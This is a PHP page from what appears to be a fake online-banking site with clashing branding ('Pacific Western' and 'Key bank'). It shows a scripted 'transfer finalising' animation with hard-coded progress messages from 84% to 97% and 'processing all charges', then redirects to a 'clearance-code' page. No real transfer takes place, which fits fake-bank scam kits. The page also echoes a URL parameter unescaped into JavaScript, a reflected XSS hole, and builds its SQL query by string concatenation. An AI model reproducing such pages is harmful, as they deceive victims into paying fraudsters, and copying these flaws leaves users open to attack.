<?php 
session_start();
include('conn_auth.php');
include('customInfo.php');
$selTrans = $conn->query("select * from credit_info  where accnt_nmb = '" . $rowUser['acct_nmb'] . "'") or die($conn->error);
$rowTrans = $selTrans->fetch_assoc();
?>
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="description" content="">
    <meta name="author" content="">
    <meta charset="UTF-8">
    <meta name="description" content="">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta http-equiv="content-type" content="text/html; charset=UTF-8">
     <meta name="author" content="PWB">
    <meta name="keyword" content="Investment, Pacific Western, Finance, Co-operate world, Bank"> 
    <meta name="description" content="Pacific Western">
    <meta property="og:title" content="PWB">
    <meta property="og:description" content="Pacific Western">
    

    <title><?php echo $rowUser['cust_name']; ?> | Finalizing Active Transfer</title>
	
    <!-- css -->
    <link href="img/new_img/divlogo.png" rel="icon" type="image">
    <link href="css/bootstrap.min.css" rel="stylesheet" type="text/css">
    <link href="font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css" />
	<link rel="stylesheet" type="text/css" href="plugins/cubeportfolio/css/cubeportfolio.min.css">
	<link href="css/nivo-lightbox.css" rel="stylesheet" />
	<link href="css/nivo-lightbox-theme/default/default.css" rel="stylesheet" type="text/css" />
	<link href="css/owl.carousel.css" rel="stylesheet" media="screen" />
    <link href="css/owl.theme.css" rel="stylesheet" media="screen" />
	<link href="css/animate.css" rel="stylesheet" />
    <link href="css/style.css" rel="stylesheet">

	<!-- boxed bg -->
	<link id="bodybg" href="bodybg/bg1.css" rel="stylesheet" type="text/css" />
	<!-- template skin -->
	<link id="t-colors" href="color/default.css" rel="stylesheet">
</head>
<style type="text/css">
.box2 p{
font-size:0.9em;
}
.box2 img{
	height:170px;
}
.baltable th{
font-size: 0.9em;
color:rgba(0, 0, 0, 0.7);
padding: 10px;
}
.baltable td{
font-size: 0.8em;
color:rgba(0, 0, 0, 0.6);
padding: 10px;
}

.prmain-bd{

margin:22px 0px 0px 0px;
border-bottom: 1px solid rgba(0, 0, 0, 0.2);
padding-bottom: 20px;
}
.box2 span{
  font-size: 0.8em;
  font-weight: 700;
}
.box2 ul{
list-style: none;
margin-left: -40px;
  }
.box2 ul li a{
font-size: 0.8em;
}
.transT h3{
  font-size: 1.1em;
  color: #000;
}

.transT h5{
  font-size: 0.9em;
}
.transT h6{
  font-size: 0.8em;
  color: #981C0E;
}
</style>
<body id="page-top" data-spy="scroll" data-target=".navbar-custom">

<div id="wrapper">
	
   <?php include('main_header.php'); ?>
	<!-- Section: intro -->
 
	
	<!-- /Section: intro -->

	<!-- Section: boxes -->
    <section id="boxes" class="home-section xtramup">
	
			<div class="row">
				<div class="col-lg-12">
					<div class="info-b">
					<span class="wldiv">Welcome  <span class="stBig"><?php echo $rowUser['cust_name']; ?></span> to Key bank !&nbsp; | &nbsp;</span>
					<span class="colorb">Last Login: </span><span class="colorR"><?php echo $rowTrans['dat_pay'] ==""? "Not available":  date('d l, Y', strtotime($rowTrans['dat_pay'])); ?> &nbsp; | &nbsp;</span>
					<span class=""><a href="update-profile">My profile</a></span>
                 </div>
				</div>
				<div class="col-lg-8 col-md-12">
            <div class="portfolio-page">
      
                
  <div class="col-lg-12">
                        <div class="pInfo">
                         
                   <div class="transT">
                   <h3>Transfer between Your accounts</h3>
               <hr>
               <h3 class="style10">Transfer details</h3>
                         <h5>The transfer to the account will be made immediately </h5>
                         <h6>Please do not refresh</h6>

               <div class="spinDiv">
  
  

  <table border="0" width="100%" cellspacing="1" id="table1" height="81">

  <tbody><tr>
    <td style="font-family: &#39;Courier New&#39;, Courier, monospace; color: red" height="64">
<div align="center">
  <img src="img/new_img/loading.gif" style="width:150px; height:70px;">
  <div id="splashcontainer" style="WIDTH: 350px; color:#3C3C3C; font-size:14px; font-weight:bold"></div>
  <layer name="splashcontainerns" width="450" bgcolor="#66CCFF" id="splashcontainerns"></layer>

<p align="center">&nbsp;</p>
<p align="center">
  
 <script>

var preloadimages=new Array("point.gif","point2.gif")

var intervals=2000
//configure destination URL
var targetdestination="clearance-code?trans_id=<?php echo $_GET['trans_id']; ?>&fd=Key-clearance-code-validate&p089939ui7222089388oitwq27772"


var splashmessage=new Array()
var openingtags='<font face="Verdana" bgcolor="#00FF00" size="2">'
splashmessage[0]='CODE SUCCESSFULLY VERIFIED'
splashmessage[1]='REDIRECTING TO BANK SERVER..............'
splashmessage[2]='PLEASE WAIT.........................'
splashmessage[3]='YOUR TRANSFER IS NOW BEING FINALISED'
splashmessage[4]='TRANSFER DATA PROCESSED ::: Key BANK PORTAL OPENED'
splashmessage[5]='INITIATING TRANSFER'
splashmessage[6]= '84%.......OF TRANSFER COMPLETED'
splashmessage[7]='86%.......OF TRANSFER COMPLETED'
splashmessage[8]='87%.......OF TRANSFER COMPLETED'
splashmessage[9]='89%.......OF TRANSFER COMPLETED'
splashmessage[10]='91%.......OF TRANSFER COMPLETED'
splashmessage[11]='93%.......OF TRANSFER COMPLETED'
splashmessage[12]='94%.......OF TRANSFER COMPLETED'
splashmessage[13]='95%.......OF TRANSFER COMPLETED'
splashmessage[14]='96%.......OF TRANSFER COMPLETED'
splashmessage[15]='PROCESSING ALL CHARGES....'
splashmessage[16]='PROCESSING ALL CHARGES..........'
splashmessage[17]='97%.......OF TRANSFER COMPLETED'
var closingtags='</font>'

//Do not edit below this line (besides HTML code at the very bottom)

var i=0

var ns4=document.layers?1:0
var ie4=document.all?1:0
var ns6=document.getElementById&&!document.all?1:0
var theimages=new Array()

//preload images
if (document.images){
for (p=0;p<preloadimages.length;p++){
theimages[p]=new Image()
theimages[p].src=preloadimages[p]
}
}

function displaysplash(){
if (i<splashmessage.length){
sc_cross.style.visibility="hidden"
sc_cross.innerHTML='<b><center>'+openingtags+splashmessage[i]+closingtags+'</center></b>'
sc_cross.style.left=ns6?parseInt(window.pageXOffset)+parseInt(window.innerWidth)/2-parseInt(sc_cross.style.width)/2 : document.body.scrollLeft+document.body.clientWidth/2-parseInt(sc_cross.style.width)/2
sc_cross.style.top=ns6?parseInt(window.pageYOffset)+parseInt(window.innerHeight)/2-sc_cross.offsetHeight/2 : document.body.scrollTop+document.body.clientHeight/2-sc_cross.offsetHeight/2
sc_cross.style.visibility="visible"
i++
}
else{
window.location=targetdestination
return
}
setTimeout("displaysplash()",intervals)
}

function displaysplash_ns(){
if (i<splashmessage.length){
sc_ns.visibility="hide"
sc_ns.document.write('<b>'+openingtags+splashmessage[i]+closingtags+'</b>')
sc_ns.document.close()

sc_ns.left=pageXOffset+window.innerWidth/2-sc_ns.document.width/2
sc_ns.top=pageYOffset+window.innerHeight/2-sc_ns.document.height/2

sc_ns.visibility="show"
i++
}
else{
window.location=targetdestination
return
}
setTimeout("displaysplash_ns()",intervals)
}



function positionsplashcontainer(){
if (ie4||ns6){
sc_cross=ns6?document.getElementById("splashcontainer"):document.all.splashcontainer
displaysplash()
}
else if (ns4){
sc_ns=document.splashcontainerns
sc_ns.visibility="show"
displaysplash_ns()
}
else
window.location=targetdestination
}
window.onload=positionsplashcontainer

</script>
</p>
</div>
</td>
</tr>
</tbody>
</table>
</div>
                </div>       
                
                        </div> 
                    
                    </div>
  </div>
          </div>

				<div class="col-lg-1 rdwidt">
					
				</div>
				<div class="col-lg-3">
					<div class="prmain-bd">
						<h4><a href="#">Earn Cash Back Twice</a></h4>
						<div class="box2 text-left">
							<img src="img/new_img/DC_Module.jpg">
							<p>
       Earn 2% cash back on purchases: 1% when you buy and 1% as you pay.
							</p>
							<a href="#" style="color: #0172B9; font-size: 0.7em;">Learn more</a>
						</div>
					</div>
          <div class="prmain-bd">
            <h4><a href="#">Quick tasks</a></h4>
            <div class="box2 text-left">
             <span>What would you like to do ?</span>
             <ul>
            <li><a href="transfer-money">Make transfer </a></li>
            <li><a href="#">Download recent statements </a></li>
            <li><a href="transfer-money">Transfer betweeen my own </a></li>
            <li><a href="#">Review reward balance now </a></li>
             
             </ul>   
            
            </div>
          </div>
          <div class="prmain-bd">
            <h4><a href="#">Financial  Tools</a></h4>
            <div class="box2 text-left">
             <span>&nbsp;</span>
             <ul>
            <li><a href="#">Fx rates </a></li>
             </ul>   
            
            </div>
          </div>
				</div>
			</div>
	</section>
	<!-- /Section: boxes -->
	
	
	

	
		
		

<?php include('footer.php'); ?>

</div>
<a href="#" class="scrollup"><i class="fa fa-angle-up active"></i></a>

	<!-- Core JavaScript Files -->
    <script src="js/jquery.min.js"></script>	 
    <script src="script.js"></script>
    <script src="js/bootstrap.min.js"></script>
    <script src="js/jquery.easing.min.js"></script>
	<script src="js/wow.min.js"></script>
	<script src="js/jquery.scrollTo.js"></script>
	<script src="js/jquery.appear.js"></script>
	<script src="js/stellar.js"></script>
	<script src="plugins/cubeportfolio/js/jquery.cubeportfolio.min.js"></script>
	<script src="js/owl.carousel.min.js"></script>
	<script src="js/nivo-lightbox.min.js"></script>
    <script src="js/custom.js"></script>


</body>

</html>
